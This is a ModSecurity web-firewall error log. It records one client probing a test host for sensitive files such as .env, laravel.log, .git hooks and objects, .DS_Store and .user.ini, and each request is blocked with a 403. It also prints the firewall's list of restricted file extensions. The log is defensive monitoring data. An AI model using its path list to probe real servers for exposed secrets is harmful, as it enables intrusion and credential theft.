[Fri Aug 01 20:57:28.027015 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.user.ini&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1agAAAAA&quot;]
[Fri Aug 01 20:57:28.027192 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.user.ini&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1agAAAAA&quot;]
[Fri Aug 01 20:57:28.235601 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1dAAAAAA&quot;]
[Fri Aug 01 20:57:28.235909 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1dAAAAAA&quot;]
[Fri Aug 01 20:57:28.236095 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1dAAAAAA&quot;]
[Fri Aug 01 20:57:28.426886 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;.idea&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .idea found within REQUEST_FILENAME: /.idea/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1fQAAAAA&quot;]
[Fri Aug 01 20:57:28.427139 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1fQAAAAA&quot;]
[Fri Aug 01 20:57:28.427430 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1fQAAAAA&quot;]
[Fri Aug 01 20:57:28.469791 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1fwAAAAA&quot;]
[Fri Aug 01 20:57:28.470105 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1fwAAAAA&quot;]
[Fri Aug 01 20:57:28.470359 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1fwAAAAA&quot;]
[Fri Aug 01 20:57:28.715434 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Thumbs.db&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1gAAAAAA&quot;]
[Fri Aug 01 20:57:28.715833 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Thumbs.db&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1gAAAAAA&quot;]
[Fri Aug 01 20:57:28.716060 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Thumbs.db&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1gAAAAAA&quot;]
[Fri Aug 01 20:57:28.736191 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1gQAAAAA&quot;]
[Fri Aug 01 20:57:28.736408 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1gQAAAAA&quot;]
[Fri Aug 01 20:57:28.736589 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1gQAAAAA&quot;]
[Fri Aug 01 20:57:28.945675 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/pre-commit&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-commit&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1iwAAAAA&quot;]
[Fri Aug 01 20:57:28.945982 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-commit&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1iwAAAAA&quot;]
[Fri Aug 01 20:57:28.946217 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-commit&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1iwAAAAA&quot;]
[Fri Aug 01 20:57:28.966670 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/post-commit&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/post-commit&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1jAAAAAA&quot;]
[Fri Aug 01 20:57:28.966864 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/post-commit&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1jAAAAAA&quot;]
[Fri Aug 01 20:57:28.967034 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/post-commit&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1jAAAAAA&quot;]
[Fri Aug 01 20:57:28.987343 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/info/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info/&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1jQAAAAA&quot;]
[Fri Aug 01 20:57:28.987530 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info/&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1jQAAAAA&quot;]
[Fri Aug 01 20:57:28.987703 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info/&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1jQAAAAA&quot;]
[Fri Aug 01 20:57:29.007636 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects/info/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/info/&quot;] [unique_id &quot;aI0OGdXkfgsW0I3lNwh1jgAAAAA&quot;]
[Fri Aug 01 20:57:29.007827 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/info/&quot;] [unique_id &quot;aI0OGdXkfgsW0I3lNwh1jgAAAAA&quot;]
[Fri Aug 01 20:57:29.007989 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/info/&quot;] [unique_id &quot;aI0OGdXkfgsW0I3lNwh1jgAAAAA&quot;]
[Fri Aug 01 20:57:29.028012 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects/pack/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/pack/&quot;] [unique_id &quot;aI0OGdXkfgsW0I3lNwh1jwAAAAA&quot;]
[Fri Aug 01 20:57:29.028196 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/pack/&quot;] [unique_id &quot;aI0OGdXkfgsW0I3lNwh1jwAAAAA&quot;]
[Fri Aug 01 20:57:29.028353 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/pack/&quot;] [unique_id &quot;aI0OGdXkfgsW0I3lNwh1jwAAAAA&quot;]
